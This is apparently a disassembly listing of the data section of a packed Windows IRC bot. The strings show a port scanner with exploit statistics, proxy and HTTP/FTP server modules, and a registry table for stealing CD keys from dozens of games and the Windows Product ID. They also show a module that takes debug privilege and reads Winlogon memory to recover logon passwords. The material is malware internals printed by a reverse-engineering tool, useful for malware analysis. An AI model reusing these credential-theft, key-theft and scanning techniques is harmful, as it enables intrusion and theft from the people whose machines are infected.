dd 0FAF899F7h, 0EDE9FCFAh, 99h
; char aTotalDInS_[]
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407102+81o
align 4
; char aSD[]
aSD db ' %s: %d,',0 ; DATA XREF: sub_407102+42o
align 4
; char unk_42A134
unk_42A134 db 2 ; DATA XREF: sub_407102+11o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aExploitStatist db ' Exploit Statistics:',0
align 4
; char unk_42A168
unk_42A168 db 2 ; DATA XREF: sub_4071CC+42o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanNotActive_ db ' Scan not active.',0
; char unk_42A198
unk_42A198 db 2 ; DATA XREF: sub_4071CC+2Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCurrentIpS_ db ' Current IP: %s.',0
align 4
; char unk_42A1C8
unk_42A1C8 db 2 ; DATA XREF: sub_407243+36Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 4
; char unk_42A20C
unk_42A20C db 2 ; DATA XREF: sub_407243+307o
; sub_40EE51+549Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0
align 4
dword_42A258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_407243+267o
dd 2BBBB02h
aFailedToStar_0 db ' Failed to start server, error: <%d>.',0
align 4
; char dword_42A298
dword_42A298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_407243+1FAo
dd 2BBBB02h
aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
; char unk_42A2E8
unk_42A2E8 db 2 ; DATA XREF: sub_407243+149o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_1 db ' Failed to start server, error: <%d>.',0
; char unk_42A328
unk_42A328 db 2 ; DATA XREF: sub_407243+DBo
; sub_40EE51+5326o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0
align 4
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40761F+38o
; sub_40AEDB+46o
; char unk_42A384
unk_42A384 db 2 ; DATA XREF: sub_407758+EBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0
; char unk_42A3BC
unk_42A3BC db 2 ; DATA XREF: sub_407758+93o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 4
; char unk_42A408
unk_42A408 db 2 ; DATA XREF: sub_40796C+1CEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0
align 4
; char unk_42A45C
unk_42A45C db 2 ; DATA XREF: sub_40796C+173o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0
align 4
; char unk_42A4A8
unk_42A4A8 db 2 ; DATA XREF: sub_40796C+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
align 10h
; char unk_42A4F0
unk_42A4F0 db 2 ; DATA XREF: sub_40796C+87o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToInitia db ' Failed to initialize critical section.',0
align 4
; char unk_42A538
unk_42A538 db 2 ; DATA XREF: sub_407BCB+156o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartC db ' Failed to start client thread, error: <%d>.',0
; char unk_42A584
unk_42A584 db 2 ; DATA XREF: sub_407BCB+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char unk_42A5DC
unk_42A5DC db 2 ; DATA XREF: sub_407D53+1AAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0
; char unk_42A62C
unk_42A62C db 2 ; DATA XREF: sub_407D53+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 65h, 64h
db 69h ; i
db 72h, 65h, 63h
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
; char unk_42A680
unk_42A680 db 2 ; DATA XREF: sub_407FD7+1B2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start server on Port %d.',0
align 10h
; char unk_42A6C0
unk_42A6C0 db 2 ; DATA XREF: sub_407FD7+18Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0
; char unk_42A708
unk_42A708 db 2 ; DATA XREF: sub_407FD7+114o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char unk_42A75C
unk_42A75C db 2 ; DATA XREF: sub_407FD7+A8o
; sub_40EE51+5E2Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aServerStarte_1 db 'Server started on: %s:%d.',0
align 4
; char unk_42A794
unk_42A794 db 2 ; DATA XREF: sub_4081DC+1F9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0
; char unk_42A7E4
unk_42A7E4 db 2 ; DATA XREF: sub_4081DC+18Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0
; char unk_42A830
unk_42A830 db 2 ; DATA XREF: sub_4081DC+F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085A0+11o
aWindow db 'Window',0 ; DATA XREF: sub_4087DB+23o
; sub_4089D4+26o
align 10h
dd 80000001h
off_42A894 dd offset aSoftwareValveC ; DATA XREF: sub_408C13+Cr
; sub_408C13+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_42A8A0 dd 2 dup(0) ; DATA XREF: sub_408C13+26o
dd 80000001h, 42BA28h, 42BA1Ch, 42BA0Ch, 2 dup(0)
dd 80000001h, 42B9ECh, 42B9E8h, 42B9D4h, 2 dup(0)
dd 80000001h, 42B9B0h, 42B9E8h, 42B9A4h, 2 dup(0)
dd 80000001h, 42B980h, 42B978h, 42B964h, 2 dup(0)
dd 80000001h, 42B950h, 42B940h, 42B924h, 2 dup(0)
dd 80000001h, 42B8E0h, 42BA68h, 42B8CCh, 2 dup(0)
dd 80000002h, 42B8A0h, 42B894h, 42B874h, 2 dup(0)
dd 80000002h, 42B840h, 42BA68h, 42B828h, 2 dup(0)
dd 80000002h, 42B7F4h, 42BA68h, 42B7DCh, 2 dup(0)
dd 80000002h, 42B7C4h, 42BA68h, 42B7ACh, 2 dup(0)
dd 80000002h, 42B770h, 4397BCh, 42B760h, 2 dup(0)
dd 80000002h, 42B728h, 4397BCh, 42B714h, 2 dup(0)
dd 80000002h, 42B6C8h, 4397BCh, 42B6A8h, 2 dup(0)
dd 80000002h, 42B658h, 4397BCh, 42B62Ch, 2 dup(0)
dd 80000002h, 42B5F0h, 4397BCh, 42B5DCh, 2 dup(0)
dd 80000002h, 42B5A4h, 4397BCh, 42B594h, 2 dup(0)
dd 80000002h, 42B544h, 4397BCh, 42B518h, 2 dup(0)
dd 80000002h, 42B4D8h, 4397BCh, 42B4BCh, 2 dup(0)
dd 80000002h, 42B48Ch, 4397BCh, 42B46Ch, 2 dup(0)
dd 80000002h, 42B430h, 4397BCh, 42B41Ch, 2 dup(0)
dd 80000002h, 42B3D4h, 4397BCh, 42B3B4h, 2 dup(0)
dd 80000002h, 42B360h, 4397BCh, 42B330h, 2 dup(0)
dd 80000002h, 42B2E0h, 4397BCh, 42B2B4h, 2 dup(0)
dd 80000002h, 42B274h, 42B26Ch, 42B24Ch, 2 dup(0)
dd 80000002h, 42B208h, 4397BCh, 42B1ECh, 2 dup(0)
dd 80000002h, 42B1A0h, 4397BCh, 42B17Ch, 2 dup(0)
dd 80000002h, 42B148h, 4397BCh, 42B13Ch, 2 dup(0)
dd 80000002h, 42B108h, 4397BCh, 42B0FCh, 2 dup(0)
dd 80000002h, 42B0C8h, 4397BCh, 42B0BCh, 2 dup(0)
dd 80000002h, 42B088h, 4397BCh, 42B07Ch, 2 dup(0)
dd 80000002h, 42B040h, 4397BCh, 42B02Ch, 2 dup(0)
dd 80000002h, 42AFF0h, 4397BCh, 42AFDCh, 2 dup(0)
dd 80000002h, 42AFACh, 42BA68h, 42AF90h, 2 dup(0)
dd 80000002h, 42AF70h, 42AF68h, 42AF44h, 2 dup(0)
dd 80000002h, 42AF28h, 42AF68h, 42AF08h, 2 dup(0)
dd 80000002h, 42AEE8h, 42AF68h, 42AEC4h, 2 dup(0)
dd 80000002h, 42AEACh, 42AF68h, 42AEA8h, 2 dup(0)
dd 80000002h, 42AE8Ch, 42AE7Ch, 42AE74h, 2 dup(0)
dd 80000002h, 42AE40h, 42AE3Ch, 42AE24h, 2 dup(0)
dd 80000002h, 42ADE8h, 42ADDCh, 42ADB4h, 42ADA4h, 42AD90h
dd 80000002h, 42AD6Ch, 42AD60h, 42AD4Ch, 42AD3Ch, 42AD34h
dd 80000002h, 42AD6Ch, 42AD60h, 42AD08h, 42AD3Ch, 42AD00h
dd 80000002h, 42AD6Ch, 42AD60h, 42ACD0h, 42AD3Ch, 42ACC8h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0 ; DATA XREF: UPX0:004302DCo
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 10h
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 10h
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 10h
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: UPX0:0042A89Co
aCdkey db 'CDKey',0 ; DATA XREF: UPX0:0042A898o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: UPX0:off_42A894o
align 4
; char Delim[]
Delim db '=',0 ; DATA XREF: sub_408C13+E9o
; sub_408C13+F4o
align 4
; char aR[]
aR db 'r',0 ; DATA XREF: sub_408C13+8Fo
; sub_40EE51:loc_413624o
align 10h
; char aSS_3[]
aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C13+7Eo
; sub_408EE0+45o ...
align 4
; char aSCdKeyS_[]
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C13+2Bo
align 4
; char unk_42BABC
unk_42BABC db 2 ; DATA XREF: sub_408DC8+C5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
; char unk_42BAEC
unk_42BAEC db 2 ; DATA XREF: sub_408DC8+5Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 66h, 69h, 6Ch
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
; char aFoundSS[]
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE0+107o
align 4
; char aS_7[]
aS_7 db '%s\*',0 ; DATA XREF: sub_408EE0+1Ao
align 4
; char unk_42BB3C
unk_42BB3C db 2 ; DATA XREF: sub_409032:loc_4091ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToEnable db ' Failed to enable Debug Privilege.',0
align 10h
; char unk_42BB80
unk_42BB80 db 2 ; DATA XREF: sub_409032:loc_40917Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindWi db ' Unable to find Winlogon Process ID.',0
unk_42BBC4 db 2 ; DATA XREF: sub_409032:loc_409177o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToFindTh db ' Unable to find the password in memory.',0
align 4
; char unk_42BC0C
unk_42BC0C db 2 ; DATA XREF: sub_409032+117o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(no password)).',0
align 4
off_42BC84 dd offset byte_530055 ; DATA XREF: sub_409032+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004D
dd offset byte_4E0049
dd 0
off_42BC9C dd offset byte_530055 ; DATA XREF: sub_409032+CEo
dd offset byte_520045
dd offset loc_41004E
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409032+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409032+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409032+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409032+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409032+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409032+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409032+40o
; sub_409032+161o ...
align 10h
unk_42BD60 db 2 ; DATA XREF: sub_409032+35o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aOnlySupportedO db ' Only supported on Windows NT/2000.',0
align 4
; char aMsgina[]
aMsgina db 'MSGINA',0 ; DATA XREF: sub_409204+13Eo
align 4
; char aNwgina[]
aNwgina db 'NWGINA',0 ; DATA XREF: sub_409204+123o
align 4
; char aWinlogon[]
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409204+AFo
align 10h
; char unk_42BDC0
unk_42BDC0 db 2 ; DATA XREF: sub_40966A+70o
; sub_409701+C7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/%S).',0
align 4
; char unk_42BE2C
unk_42BE2C db 2 ; DATA XREF: sub_409701+E1o
